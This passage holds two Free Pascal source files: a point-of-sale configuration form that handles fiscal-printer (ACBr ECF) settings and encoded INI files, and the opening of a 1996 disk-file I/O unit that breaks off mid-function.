QResolucaoLARGURA: TLargeintField;
QResolucaoRESOLUCAO_TELA: TStringField;
TabSheet1: TTabSheet;
ScrollBox1: TScrollBox;
DBLookupComboBox1: TDBLookupComboBox;
Label1: TLabel;
Label2: TLabel;
DBLookupComboBox2: TDBLookupComboBox;
QCaixa: TZQuery;
DSCaixa: TDataSource;
DBLookupComboBox4: TDBLookupComboBox;
Label4: TLabel;
QEmpresa: TZQuery;
DSEmpresa: TDataSource;
QResolucao: TZQuery;
DSResolucao: TDataSource;
TabSheet2: TTabSheet;
GridPrincipal: TRxDBGrid;
Label3: TLabel;
DBLookupComboBox3: TDBLookupComboBox;
Label5: TLabel;
DBEdit1: TDBEdit;
Label6: TLabel;
DBEdit2: TDBEdit;
Label7: TLabel;
DBEdit3: TDBEdit;
Label8: TLabel;
DBEdit4: TDBEdit;
Label9: TLabel;
DBEdit5: TDBEdit;
Label10: TLabel;
PaletaCores: TColorListBox;
Label11: TLabel;
DBEdit6: TDBEdit;
Label12: TLabel;
DBEdit7: TDBEdit;
Label13: TLabel;
DBEdit8: TDBEdit;
Folder: TSelectDirectoryDialog;
SpeedButton1: TSpeedButton;
SpeedButton2: TSpeedButton;
SpeedButton3: TSpeedButton;
Label14: TLabel;
DBEdit9: TDBEdit;
Label15: TLabel;
DBEdit10: TDBEdit;
DBCheckBox1: TDBCheckBox;
QCFOP: TZQuery;
DSCFOP: TDataSource;
DBLookupComboBox5: TDBLookupComboBox;
Label17: TLabel;
DBLookupComboBox6: TDBLookupComboBox;
Label18: TLabel;
Label19: TLabel;
DBEdit11: TDBEdit;
Label21: TLabel;
DBEdit13: TDBEdit;
Label22: TLabel;
DBEdit14: TDBEdit;
Label27: TLabel;
DBEdit19: TDBEdit;
PanelScroll: TPanel;
GroupBox1: TGroupBox;
Label24: TLabel;
DBEdit16: TDBEdit;
Label25: TLabel;
DBEdit17: TDBEdit;
Label26: TLabel;
DBEdit18: TDBEdit;
Label23: TLabel;
DBEdit15: TDBEdit;
DBComboBox1: TDBComboBox;
Label16: TLabel;
Label20: TLabel;
DBEdit12: TDBEdit;
botaoConexoes: TBitBtn;
botaoReconectaImpressora: TBitBtn;
Label61: TLabel;
SinalVerde: TImage;
SinalVermelho: TImage;
DBEdit21: TDBEdit;
Label62: TLabel;
TabSheet6: TTabSheet;
botaoDesconectaImpressora: TBitBtn;
oArquivos: TOpenDialog;
Bevel1: TBevel;
PageControl2: TPageControl;
TabSheet8: TTabSheet;
TabSheet9: TTabSheet;
TabSheet10: TTabSheet;
GroupBox6: TGroupBox;
Label65: TLabel;
Label66: TLabel;
SerieECF: TEdit;
GTECF: TEdit;
GroupBox21: TGroupBox;
Label101: TLabel;
cmbXXXVI1: TComboBox;
GroupBox18: TGroupBox;
Label86: TLabel;
Label89: TLabel;
Label90: TLabel;
Label91: TLabel;
Label92: TLabel;
Label93: TLabel;
Label94: TLabel;
cmbApl1: TComboBox;
cmbApl2: TComboBox;
cmbApl3: TComboBox;
cmbApl4: TComboBox;
cmbApl5: TComboBox;
cmbApl6: TComboBox;
cmbApl7: TComboBox;
GroupBox17: TGroupBox;
Label78: TLabel;
Label80: TLabel;
Label82: TLabel;
Label84: TLabel;
cmbPar1: TComboBox;
cmbPar2: TComboBox;
cmbPar3: TComboBox;
cmbPar4: TComboBox;
GroupBox20: TGroupBox;
Label99: TLabel;
Label100: TLabel;
cmbXXII1: TComboBox;
cmbXXII2: TComboBox;
GroupBox19: TGroupBox;
Label95: TLabel;
Label96: TLabel;
Label97: TLabel;
Label98: TLabel;
cmbCri1: TComboBox;
cmbCri2: TComboBox;
cmbCri3: TComboBox;
cmbCri4: TComboBox;
GroupBox16: TGroupBox;
Label72: TLabel;
Label74: TLabel;
Label76: TLabel;
cmbFun1: TComboBox;
cmbFun2: TComboBox;
cmbFun3: TComboBox;
Panel1: TPanel;
botaoRecarregarAuxiliar: TBitBtn;
botaoSalvarAuxiliar: TBitBtn;
GroupBox11: TGroupBox;
Label77: TLabel;
editBD: TEdit;
GroupBox12: TGroupBox;
Label81: TLabel;
editImporta: TEdit;
GroupBox9: TGroupBox;
Label69: TLabel;
Label63: TLabel;
Label68: TLabel;
editCNPJEstabelecimento: TEdit;
editRegistraPreVenda: TEdit;
editImprimeDAV: TEdit;
GroupBox8: TGroupBox;
Label67: TLabel;
editArquivos: TEdit;
GroupBox10: TGroupBox;
Label71: TLabel;
Label73: TLabel;
Label75: TLabel;
editCNPJ: TEdit;
editNome_PAF: TEdit;
editMD5PrincipalEXE: TEdit;
GroupBox7: TGroupBox;
Label64: TLabel;
editGT: TEdit;
GroupBox14: TGroupBox;
MemoSerieEcf: TMemo;
Bevel2: TBevel;
GroupBox13: TGroupBox;
Label83: TLabel;
Label85: TLabel;
EditServidorAppServidor: TEdit;
EditServidorAppPorta: TEdit;
procedure BotaoPosicionarComponentesClick(Sender: TObject);
procedure confirma;
procedure FormClose(Sender: TObject; var CloseAction: TCloseAction);
procedure botaoConfirmaClick(Sender: TObject);
procedure FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);
procedure PaletaCoresColorChange(Sender: TObject);
procedure SpeedButton1Click(Sender: TObject);
procedure SpeedButton2Click(Sender: TObject);
procedure SpeedButton3Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure editTimeOutKeyPress(Sender: TObject; var Key: Char);
procedure botaoConexoesClick(Sender: TObject);
procedure CarregaArquivoAuxiliar;
procedure ConfiguraACBr;
procedure botaoReconectaImpressoraClick(Sender: TObject);
procedure EditClick(Sender: TObject);
procedure botaoRecarregarAuxiliarClick(Sender: TObject);
procedure botaoSalvarAuxiliarClick(Sender: TObject);
procedure botaoDesconectaImpressoraClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
FConfiguracao: TFConfiguracao;
ConfiguracaoVO: TEcfConfiguracaoVO;
implementation
uses
UDataModule, UConfigConexao, USplash, UCaixa,
ConfiguracaoController, UDataModuleConexao;
{$R *.lfm}
{$REGION 'Infra'}
procedure TFConfiguracao.FormCreate(Sender: TObject);
begin
Application.CreateForm(TFSplash,FSplash);
Application.CreateForm(TFDataModule, FDataModule);
Application.CreateForm(TFDataModuleConexao, FDataModuleConexao);
try
FSplash.Show;
FSplash.BringToFront;
QCaixa.Active := True;
QCFOP.Active := True;
QConfiguracao.Active := True;
QEmpresa.Active := True;
QImpressora.Active := True;
QResolucao.Active := True;
QPosicaoComponentes.Active := True;
//
QPosicaoComponentes.MasterSource := DSResolucao;
QPosicaoComponentes.MasterFields := 'ID';
ConfiguracaoVO := TEcfConfiguracaoController.ConsultaObjeto('ID=1');
try
ConfiguraACBr;
except
end;
CarregaArquivoAuxiliar;
finally
FreeAndNil(FSplash);
FConfiguracao.Show;
PageControl1.ActivePageIndex := 0;
end;
end;
procedure TFConfiguracao.FormClose(Sender: TObject; var CloseAction: TCloseAction);
begin
CloseAction := caFree;
end;
procedure TFConfiguracao.FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);
begin
if Key = VK_F12 then
Confirma;
end;
procedure TFConfiguracao.botaoDesconectaImpressoraClick(Sender: TObject);
begin
try
FDataModule.ACBrECF.Desativar;
SinalVerde.Visible := false;
SinalVermelho.Visible := true;
except
end;
end;
procedure TFConfiguracao.botaoReconectaImpressoraClick(Sender: TObject);
begin
Confirma;
Application.CreateForm(TFSplash,FSplash);
FSplash.Show;
FSplash.BringToFront;
FDataModule.ACBrECF.Desativar;
try
ConfiguraACBr;
except
end;
FreeAndNil(FSplash);
end;
procedure TFConfiguracao.botaoConexoesClick(Sender: TObject);
begin
Application.CreateForm(TFConfigConexao,FConfigConexao);
FConfigConexao.ShowModal;
end;
procedure TFConfiguracao.BotaoPosicionarComponentesClick(Sender: TObject);
begin
Application.CreateForm(TFCaixa, FCaixa);
FCaixa.ShowModal;
QPosicaoComponentes.Refresh;
end;
{$ENDREGION 'Infra'}
{$REGION 'Edição, Confirmação e Gravação dos Dados'}
procedure TFConfiguracao.botaoConfirmaClick(Sender: TObject);
begin
Confirma;
end;
procedure TFConfiguracao.Confirma;
begin
try
Application.ProcessMessages;
if QConfiguracao.State in [dsEdit] then
begin
QConfiguracao.Post;
end;
if QPosicaoComponentes.State in [dsEdit] then
begin
QPosicaoComponentes.Post;
end;
Application.MessageBox('Dados salvos com sucesso.', 'Informação do Sistema', MB_OK + MB_ICONINFORMATION);
except
Application.MessageBox('Erro ao salvar modificações.', 'Informação do Sistema', MB_OK + MB_ICONERROR);
Abort;
end;
end;
procedure TFConfiguracao.PaletaCoresColorChange(Sender: TObject);
begin
QConfiguracao.Edit;
QConfiguracao.FieldByName('COR_JANELAS_INTERNAS').AsString := ColorToString(PaletaCores.Color);
end;
procedure TFConfiguracao.EditClick(Sender: TObject);
begin
(Sender as TEdit).SelectAll;
end;
procedure TFConfiguracao.editTimeOutKeyPress(Sender: TObject; var Key: Char);
begin
if not (Key in ['0'..'9',#8,#13]) then
key:=#0;
end;
procedure TFConfiguracao.SpeedButton1Click(Sender: TObject);
begin
Folder.Execute;
DBEdit6.Text := Folder.GetNamePath + '\';
QConfiguracao.Edit;
end;
procedure TFConfiguracao.SpeedButton2Click(Sender: TObject);
begin
Folder.Execute;
DBEdit7.Text := Folder.GetNamePath + '\';
QConfiguracao.Edit;
end;
procedure TFConfiguracao.SpeedButton3Click(Sender: TObject);
begin
Folder.Execute;
DBEdit8.Text := Folder.GetNamePath + '\';
QConfiguracao.Edit;
end;
{$ENDREGION 'Edição, Confirmação e Gravação dos Dados'}
{$REGION 'Arquivo Auxiliar'}
procedure TFConfiguracao.botaoRecarregarAuxiliarClick(Sender: TObject);
begin
CarregaArquivoAuxiliar;
end;
procedure TFConfiguracao.CarregaArquivoAuxiliar;
var
ArquivoAuxiliarIni: TIniFile;
ConexaoIni: TIniFile;
I, Qtde: integer;
begin
try
try
// dados arquivo auxiliar
ArquivoAuxiliarIni := TIniFile.Create(ExtractFilePath(Application.ExeName) + 'ArquivoAuxiliar.ini');
// ***********************************************************************
// Aba Principal
// ***********************************************************************
MemoSerieEcf.Text := '';
ArquivoAuxiliarIni.ReadSectionValues('SERIES', MemoSerieEcf.Lines);
Qtde := (MemoSerieEcf.Lines.Count - 1);
MemoSerieEcf.Text := '';
for I := 1 to Qtde do
begin
if trim(ArquivoAuxiliarIni.ReadString('SERIES', 'SERIE' + IntToStr(I), '')) <> '' then
MemoSerieEcf.Lines.Add(Codifica('D', trim(ArquivoAuxiliarIni.ReadString('SERIES', 'SERIE' + IntToStr(I), ''))));
end;
editGT.Text := Codifica('D', trim(ArquivoAuxiliarIni.ReadString('ECF', 'GT', '')));
editArquivos.Text := Codifica('D', trim(ArquivoAuxiliarIni.ReadString('MD5', 'ARQUIVOS', '')));
editCNPJEstabelecimento.Text := Codifica('D', trim(ArquivoAuxiliarIni.ReadString('ESTABELECIMENTO', 'CNPJ', '')));
editRegistraPreVenda.Text := Codifica('D', trim(ArquivoAuxiliarIni.ReadString('ESTABELECIMENTO', 'REGISTRAPREVENDA', '')));
editImprimeDAV.Text := Codifica('D', trim(ArquivoAuxiliarIni.ReadString('ESTABELECIMENTO', 'IMPRIMEDAV', '')));
editCNPJ.Text := Codifica('D', trim(ArquivoAuxiliarIni.ReadString('SHOUSE', 'CNPJ', '')));
editNome_PAF.Text := Codifica('D', trim(ArquivoAuxiliarIni.ReadString('SHOUSE', 'NOME_PAF', '')));
editMD5PrincipalEXE.Text := Codifica('D', trim(ArquivoAuxiliarIni.ReadString('SHOUSE', 'MD5PrincipalEXE', '')));
// ***********************************************************************
// Aba Parâmetros
// ***********************************************************************
cmbFun1.Text := (Codifica('D', trim(ArquivoAuxiliarIni.ReadString('FUNCIONALIDADES', 'FUN1', ''))));
cmbFun2.Text := (Codifica('D', trim(ArquivoAuxiliarIni.ReadString('FUNCIONALIDADES', 'FUN2', ''))));
cmbFun3.Text := (Codifica('D', trim(ArquivoAuxiliarIni.ReadString('FUNCIONALIDADES', 'FUN3', ''))));
cmbPar1.Text := (Codifica('D', trim(ArquivoAuxiliarIni.ReadString('PARAMETROSPARANAOCONCOMITANCIA', 'PAR1', ''))));
cmbPar2.Text := (Codifica('D', trim(ArquivoAuxiliarIni.ReadString('PARAMETROSPARANAOCONCOMITANCIA', 'PAR2', ''))));
cmbPar3.Text := (Codifica('D', trim(ArquivoAuxiliarIni.ReadString('PARAMETROSPARANAOCONCOMITANCIA', 'PAR3', ''))));
cmbPar4.Text := (Codifica('D', trim(ArquivoAuxiliarIni.ReadString('PARAMETROSPARANAOCONCOMITANCIA', 'PAR4', ''))));
cmbCri1.Text := (Codifica('D', trim(ArquivoAuxiliarIni.ReadString('CRITERIOSPORUNIDADEFEDERADA', 'CRI1', ''))));
cmbCri2.Text := (Codifica('D', trim(ArquivoAuxiliarIni.ReadString('CRITERIOSPORUNIDADEFEDERADA', 'CRI2', ''))));
cmbCri3.Text := (Codifica('D', trim(ArquivoAuxiliarIni.ReadString('CRITERIOSPORUNIDADEFEDERADA', 'CRI3', ''))));
cmbCri4.Text := (Codifica('D', trim(ArquivoAuxiliarIni.ReadString('CRITERIOSPORUNIDADEFEDERADA', 'CRI4', ''))));
cmbApl1.Text := (Codifica('D', trim(ArquivoAuxiliarIni.ReadString('APLICATIVOSESPECIAIS', 'APL1', ''))));
cmbApl2.Text := (Codifica('D', trim(ArquivoAuxiliarIni.ReadString('APLICATIVOSESPECIAIS', 'APL2', ''))));
cmbApl3.Text := (Codifica('D', trim(ArquivoAuxiliarIni.ReadString('APLICATIVOSESPECIAIS', 'APL3', ''))));
cmbApl4.Text := (Codifica('D', trim(ArquivoAuxiliarIni.ReadString('APLICATIVOSESPECIAIS', 'APL4', ''))));
cmbApl5.Text := (Codifica('D', trim(ArquivoAuxiliarIni.ReadString('APLICATIVOSESPECIAIS', 'APL5', ''))));
cmbApl6.Text := (Codifica('D', trim(ArquivoAuxiliarIni.ReadString('APLICATIVOSESPECIAIS', 'APL6', ''))));
cmbApl7.Text := (Codifica('D', trim(ArquivoAuxiliarIni.ReadString('APLICATIVOSESPECIAIS', 'APL7', ''))));
cmbXXII1.Text := (Codifica('D', trim(ArquivoAuxiliarIni.ReadString('XXIIREQUISITO', 'XXII1', ''))));
cmbXXII2.Text := (Codifica('D', trim(ArquivoAuxiliarIni.ReadString('XXIIREQUISITO', 'XXII2', ''))));
cmbXXXVI1.Text := (Codifica('D', trim(ArquivoAuxiliarIni.ReadString('XXXVIREQUISITO', 'XXXVI1', ''))));
// ***********************************************************************
// Aba Conexão
// ***********************************************************************
ConexaoIni := TIniFile.Create(ExtractFilePath(Application.ExeName) + 'Conexao.ini');
editBD.Text := ConexaoIni.ReadString('SGBD', 'BD', '');
editImporta.Text := ConexaoIni.ReadString('INTEGRACAO', 'REMOTEAPP', '');
EditServidorAppServidor.Text := ConexaoIni.ReadString('ServidorApp', 'Servidor', '');
EditServidorAppPorta.Text := ConexaoIni.ReadString('ServidorApp', 'Porta', '');
// Dados ECF
if FDataModule.ACBrECF.Ativo then
begin
SerieECF.Text := FDataModule.ACBrECF.NumSerie;
GTECF.Text := FloatToStr(FDataModule.ACBrECF.GrandeTotal);
end;
except
Application.MessageBox('Problemas ao carregar um dos arquivos: ArquivoAuxiliar.ini / Conexao.ini', 'Informação do Sistema', MB_OK + MB_ICONERROR);
end;
finally
ArquivoAuxiliarIni.Free;
ConexaoIni.Free;
end;
end;
procedure TFConfiguracao.botaoSalvarAuxiliarClick(Sender: TObject);
var
ArquivoAuxiliarIni: TIniFile;
ConexaoIni: TIniFile;
I: integer;
Serie: Boolean;
Serial: string;
begin
try
try
if Application.MessageBox('Tem certeza que deseja salvar estes dados no ArquivoAuxiliar.ini?' + #13 + 'Os dados antigos do arquivo serão perdidos.', 'Informação do Sistema', MB_YESNO + MB_ICONQUESTION) = mryes then
begin
// dados arquivo auxiliar
ArquivoAuxiliarIni := TIniFile.Create(ExtractFilePath(Application.ExeName) + 'ArquivoAuxiliar.ini');
// *********************************************************************
// Aba Principal
// *********************************************************************
ArquivoAuxiliarIni.WriteString('ECF', 'GT', Codifica('C', trim(GTECF.Text)));
Serie := false;
for I := 0 to MemoSerieEcf.Lines.Count - 1 do
begin
if (trim(MemoSerieEcf.Lines.Strings[I])) = (trim(SerieECF.Text)) then
Serie := True;
end;
if not Serie then
begin
MemoSerieEcf.Lines.Add(trim(SerieECF.Text));
end;
for I := 0 to MemoSerieEcf.Lines.Count - 1 do
begin
if trim(MemoSerieEcf.Lines.Strings[I]) <> '' then
begin
Serial := 'SERIE' + IntToStr(I + 1);
ArquivoAuxiliarIni.WriteString('SERIES', pchar(Serial), Codifica('C', trim(MemoSerieEcf.Lines.Strings[I])));
end;
Application.ProcessMessages;
end;
ArquivoAuxiliarIni.WriteString('MD5', 'ARQUIVOS', Codifica('C', trim(editArquivos.Text)));
ArquivoAuxiliarIni.WriteString('ESTABELECIMENTO', 'CNPJ', Codifica('C', trim(editCNPJEstabelecimento.Text)));
ArquivoAuxiliarIni.WriteString('ESTABELECIMENTO', 'REGISTRAPREVENDA', Codifica('C', trim(editRegistraPreVenda.Text)));
ArquivoAuxiliarIni.WriteString('ESTABELECIMENTO', 'IMPRIMEDAV', Codifica('C', trim(editImprimeDAV.Text)));
ArquivoAuxiliarIni.WriteString('SHOUSE', 'CNPJ', Codifica('C', trim(editCNPJ.Text)));
ArquivoAuxiliarIni.WriteString('SHOUSE', 'NOME_PAF', Codifica('C', trim(editNome_PAF.Text)));
ArquivoAuxiliarIni.WriteString('SHOUSE', 'MD5PrincipalEXE', Codifica('C', trim(editMD5PrincipalEXE.Text)));
// *********************************************************************
// Aba Parâmetros
// *********************************************************************
ArquivoAuxiliarIni.WriteString('FUNCIONALIDADES', 'FUN1', Codifica('C', trim(cmbFun1.Text)));
ArquivoAuxiliarIni.WriteString('FUNCIONALIDADES', 'FUN2', Codifica('C', trim(cmbFun2.Text)));
ArquivoAuxiliarIni.WriteString('FUNCIONALIDADES', 'FUN3', Codifica('C', trim(cmbFun3.Text)));
ArquivoAuxiliarIni.WriteString('PARAMETROSPARANAOCONCOMITANCIA', 'PAR1', Codifica('C', trim(cmbPar1.Text)));
ArquivoAuxiliarIni.WriteString('PARAMETROSPARANAOCONCOMITANCIA', 'PAR2', Codifica('C', trim(cmbPar2.Text)));
ArquivoAuxiliarIni.WriteString('PARAMETROSPARANAOCONCOMITANCIA', 'PAR3', Codifica('C', trim(cmbPar3.Text)));
ArquivoAuxiliarIni.WriteString('PARAMETROSPARANAOCONCOMITANCIA', 'PAR4', Codifica('C', trim(cmbPar4.Text)));
ArquivoAuxiliarIni.WriteString('CRITERIOSPORUNIDADEFEDERADA', 'CRI1', Codifica('C', trim(cmbCri1.Text)));
ArquivoAuxiliarIni.WriteString('CRITERIOSPORUNIDADEFEDERADA', 'CRI2', Codifica('C', trim(cmbCri2.Text)));
ArquivoAuxiliarIni.WriteString('CRITERIOSPORUNIDADEFEDERADA', 'CRI3', Codifica('C', trim(cmbCri3.Text)));
ArquivoAuxiliarIni.WriteString('CRITERIOSPORUNIDADEFEDERADA', 'CRI4', Codifica('C', trim(cmbCri4.Text)));
ArquivoAuxiliarIni.WriteString('APLICATIVOSESPECIAIS', 'APL1', Codifica('C', trim(cmbApl1.Text)));
ArquivoAuxiliarIni.WriteString('APLICATIVOSESPECIAIS', 'APL2', Codifica('C', trim(cmbApl2.Text)));
ArquivoAuxiliarIni.WriteString('APLICATIVOSESPECIAIS', 'APL3', Codifica('C', trim(cmbApl3.Text)));
ArquivoAuxiliarIni.WriteString('APLICATIVOSESPECIAIS', 'APL4', Codifica('C', trim(cmbApl4.Text)));
ArquivoAuxiliarIni.WriteString('APLICATIVOSESPECIAIS', 'APL5', Codifica('C', trim(cmbApl5.Text)));
ArquivoAuxiliarIni.WriteString('APLICATIVOSESPECIAIS', 'APL6', Codifica('C', trim(cmbApl6.Text)));
ArquivoAuxiliarIni.WriteString('APLICATIVOSESPECIAIS', 'APL7', Codifica('C', trim(cmbApl7.Text)));
ArquivoAuxiliarIni.WriteString('XXIIREQUISITO', 'XXII1', Codifica('C', trim(cmbXXII1.Text)));
ArquivoAuxiliarIni.WriteString('XXIIREQUISITO', 'XXII2', Codifica('C', trim(cmbXXII2.Text)));
ArquivoAuxiliarIni.WriteString('XXXVIREQUISITO', 'XXXVI1', Codifica('C', trim(cmbXXXVI1.Text)));
// *********************************************************************
// Aba Conexão
// *********************************************************************
ConexaoIni := TIniFile.Create(ExtractFilePath(Application.ExeName) + 'Conexao.ini');
ConexaoIni.WriteString('SGBD', 'BD', editBD.Text);
ConexaoIni.WriteString('INTEGRACAO', 'REMOTEAPP', editImporta.Text);
ConexaoIni.WriteString('ServidorApp', 'Servidor', EditServidorAppServidor.Text);
ConexaoIni.WriteString('ServidorApp', 'Porta', EditServidorAppPorta.Text);
end;
except
Application.MessageBox('Problemas ao salvar um dos arquivos: ArquivoAuxiliar.ini / Conexao.ini', 'Informação do Sistema', MB_OK + MB_ICONERROR);
end;
finally
ArquivoAuxiliarIni.Free;
ConexaoIni.Free;
end;
end;
{$ENDREGION 'Arquivo Auxiliar'}
{$REGION 'ACBr'}
procedure TFConfiguracao.ConfiguraACBr;
begin
FDataModule.ACBrECF.Modelo := TACBrECFModelo(GetEnumValue(TypeInfo(TACBrECFModelo), ConfiguracaoVO.EcfImpressoraVO.ModeloAcbr));
FDataModule.ACBrECF.Porta := ConfiguracaoVO.PortaEcf;
FDataModule.ACBrECF.TimeOut := ConfiguracaoVO.TimeoutEcf;
FDataModule.ACBrECF.IntervaloAposComando := ConfiguracaoVO.IntervaloEcf;
FDataModule.ACBrECF.Device.Baud := ConfiguracaoVO.BitsPorSegundo;
try
FSplash.lbMensagem.caption := 'Conectando ao ECF...';
FSplash.lbMensagem.Refresh;
FDataModule.ACBrECF.Ativar;
FSplash.lbMensagem.caption := 'ECF conectado!';
FSplash.lbMensagem.Refresh;
FSplash.imgECF.Visible := True;
FSplash.imgTEF.Visible := True;
SinalVerde.Visible := True;
SinalVermelho.Visible := false;
except
FSplash.lbMensagem.caption := 'Falha ao tentar conectar ECF!';
FSplash.lbMensagem.Refresh;
Application.MessageBox('ECF com problemas ou desligado. Configurações diretas com o ECF não funcionarão.', 'Informação do Sistema', MB_OK + MB_ICONINFORMATION);
SinalVerde.Visible := false;
SinalVermelho.Visible := True;
end;
FDataModule.ACBrECF.CarregaAliquotas;
if FDataModule.ACBrECF.Aliquotas.Count <= 0 then
begin
Application.MessageBox('ECF sem alíquotas cadastradas. Aplicação será aberta para somente consulta.', 'Informação do Sistema', MB_OK + MB_ICONINFORMATION);
end;
FDataModule.ACBrECF.CarregaFormasPagamento;
if FDataModule.ACBrECF.FormasPagamento.Count <= 0 then
begin
Application.MessageBox('ECF sem formas de pagamento cadastradas. Aplicação será aberta para somente consulta.', 'Informação do Sistema', MB_OK + MB_ICONINFORMATION);
end;
end;
{$ENDREGION 'ACBr'}
end.
|
Unit gsF_Disk;
{------------------------------------------------------------------------------
Disk File Handler
gsF_Disk Copyright (c) 1996 Griffin Solutions, Inc.
Date
4 Apr 1996
Programmer:
Richard F. Griffin tel: (912) 953-2680
Griffin Solutions, Inc. e-mail: grifsolu@hom.net
102 Molded Stone Pl
Warner Robins, GA 31088
Modified (m) 1997-2000 by Valery Votintsev 2:5021/22
-------------------------------------------------------------
This unit handles the objects for all untyped disk file I/O.
Changes:
08 Aug 20 - Changed GSxxxObjectColl name to GSxxxFileColl to better
indicate what the object is.
!!RFG 082097 Added dfReadCount and dfWriteCount to GSO_Diskfile object
to track I/O activity for benchmark/tuning efforts.
!!RFG 020598 Removed Mutex waiting in gsUnlock to avoid possible
gridlock if another thread is attempting to lock and
owns the mutex. This would prevent the other thread
from unlocking the record the first thread is waiting
for.
!!RFG 022098 Removed code that automatically tried to open a file
in ReadOnly mode if it failed in ReadWrite. This was
included originally to allow CD-Rom files to be opened
without changing the mode in the program. It causes a
problem when opening against a file already opened in
Exclusive mode.
------------------------------------------------------------------------------}
{$I gsF_FLAG.PAS}
interface
uses
Strings,
gsF_Glbl,
gsF_Eror,
vString,
gsF_Xlat,
gsF_Date,
gsF_DOS;
const
GSwrdAccessSeconds : word = 2;
{private}
type
GSP_DiskFile = ^GSO_DiskFile;
GSO_DiskFile = Object (GSobjBaseObject)
dfFileHndl : integer;
dfFileErr : integer; {I/O error code}
dfFileExst : boolean; {True if file exists}
dfFileName : PChar; {File Name}
dfFilePosn : longint; {File Position}
dfFileShrd : boolean; {Is the File shared? True if shared}
dfFileMode : byte; {File Open Mode}
dfFileFlsh : GSsetFlushStatus; {File Flush Status}
dfReadOnly : boolean; {ReadOnly Flag}
dfGoodRec : longint;
dfLockRec : Boolean;
dfFileLocked: Boolean; {True if the File is locked}
dfLockPos : Longint; {Lock Position}
dfLockLth : Longint; {Lock Length }
dfHideError: integer;
dfHasWritten: boolean; {True if has written}
dfClosed : boolean; {True if the file is closed}
dfAutoShare: boolean; {True if AUTO sharing used}
dfDirtyReadLmt : longint;
dfDirtyReadMin : longint;
dfDirtyReadMax : longint;
dfDirtyReadRng : longint;
dfLockStyle : GSsetLokProtocol; {Lock Style}
dfReadCount : longint; {!!RFG 082097}
dfWriteCount : longint; {!!RFG 082097}
Constructor Create(const Fname: String; Fmode: byte); {Create File Obj}
destructor Destroy; virtual; {Destroy File Obj}
Procedure FoundError(Code, Info:integer; StP: PChar); virtual;
Function gsClose: boolean; virtual; {Close File}
Function gsFileSize : longint; virtual; {File Size}
Function gsFlush: boolean; virtual; {Flush File}
Function gsLockFile : Boolean; virtual; {Lock File}
Function gsLockRecord(FilePosition,FileLength: LongInt): Boolean; virtual;
Function gsRead(blk : longint; var dat; len : longint): Boolean; virtual;
Function gsReset: Boolean; virtual; {Reset File}
Function gsReWrite: Boolean; virtual; {Rewrite File}
Function gsSetFlushCondition(Condition : GSsetFlushStatus): Boolean;
Procedure gsSetLockProtocol(LokProtocol: GSsetLokProtocol); virtual;
Procedure gsStatusUpdate(stat1,stat2,stat3 : longint); virtual;
Procedure gsStatusLink(stat1,stat2,stat3 : longint);
Function gsTestForOk(Code, Info : integer): boolean;
Function gsTruncate(loc : longint): Boolean; virtual;{Truncate File}
Function gsUnLock : Boolean; virtual;
Function gsWrite(blk : longint; var dat; len : longint): Boolean; virtual;
end;
Procedure GS_ClearLocks;
Function GS_FileActiveHere(FilName: PChar): GSP_DiskFile;
{------------------------------------------------------------------------------
IMPLEMENTATION SECTION
------------------------------------------------------------------------------}
implementation
type
GSptrFileColl = ^GSobjFileColl;
GSobjFileColl = object(GSobjCollection)
constructor Create;
Destructor Destroy; virtual;
procedure FreeAll;
procedure FreeItem(Item: Pointer); virtual;
end;
var
FileLog : GSptrFileColl;
{------------------------------------------------------------------------------
Global Routines
------------------------------------------------------------------------------}
Function GS_FileActiveHere(FilName: PChar): GSP_DiskFile;
var
i : integer;
optr : GSP_DiskFile;
ok: boolean;
begin
GS_FileActiveHere := nil;
ok := false;
if (FileLog <> nil) and (FileLog^.Count > 0) then
begin
i := 0;
while (not ok) and (i < FileLog^.Count) do
begin
optr := FileLog^.Items^[i];
with optr^ do
if StrComp(FilName,dfFileName) = 0 then
begin
ok := true;
GS_FileActiveHere := optr;
end;
inc(i);
end;
end;
if not ok then
GS_FileActiveHere := nil;
end;
Procedure GS_ClearLocks;
var
i : integer;
optr : GSP_DiskFile;
begin
if (FileLog <> nil) and (FileLog^.Count > 0) then
begin
for i := 0 to FileLog^.Count-1 do
begin
optr := FileLog^.Items^[i];
with optr^ do
if dfLockRec then
GS_UnLockFile(dfFileHndl,dfLockPos,dfLockLth);
end;
end;
end;
{------------------------------------------------------------------------------
GSO_DiskFile
------------------------------------------------------------------------------}
Constructor GSO_DiskFile.Create(const Fname: String; Fmode: byte);
var
FNup : array[0..259] of char;
Attr : integer;
begin
inherited Create;
StrPCopy(FNup,GSGetExpandedFile(Fname));
StrUpperCase(FNup, StrLen(FNup));
dfFileMode := Fmode;
dfFileShrd := dfFileMode > 8;
dfFileName := StrGSNew(FNup);
Attr := GSGetFAttr(StrPas(FNup));
dfFileExst := Attr >= 0;
if Attr = -1 then
Attr := 0;
if (Attr and $01) > 0 then {is the file Read-Only?}
dfFileMode := dfFileMode and $F8; {Then force read only}
dfReadOnly := ((dfFileMode and $07) = 0);
dfFilePosn := 0;
dfFileHndl := 0;
dfLockRec := false;
dfFileLocked := false;
dfFileFlsh := NeverFlush;
dfHideError := 0;
dfHasWritten := false;
dfClosed := true;
dfAutoShare := true;
dfReadCount := 0;
dfWriteCount := 0;
{Default to FoxPro Record Locking Protocol}
dfLockStyle := Default;
dfDirtyReadLmt := $FFFFFFFF;
dfDirtyReadMin := $40000000;
dfDirtyReadMax := $7FFFFFFE;
dfDirtyReadRng := $3FFFFFFF;
ObjType := GSobtDiskFile;
end;
destructor GSO_DiskFile.Destroy;
begin
gsClose;
StrGSDispose(dfFileName);
inherited Destroy;
end;
Procedure GSO_DiskFile.FoundError(Code, Info:integer; StP: PChar);
begin
FoundPgmError(Code,Info,StP);
end;
Function GSO_DiskFile.gsClose: boolean;
begin
if not dfClosed then
begin
dfFileErr := 0;
if (FileLog <> nil) and (FileLog^.IndexOf(@Self) <> -1) then
FileLog^.Delete(@Self);
if GS_FileActiveHere(dfFileName) <> nil then
begin
if dfHasWritten then gsFlush;
end
else
begin
if dfLockRec then gsUnLock;
GSFileClose(dfFileHndl);
dfClosed := true;
dfFilePosn := 0;
dfFileHndl := 0;
end;
end;
gsClose := true;
end;
Function GSO_DiskFile.gsFileSize : longint;
var
fs: longint;
begin
fs := GSFileSeek(dfFileHndl,0,2);
if fs = -1 then
dfFileErr := GSGetLastError
else
dfFileErr := 0;
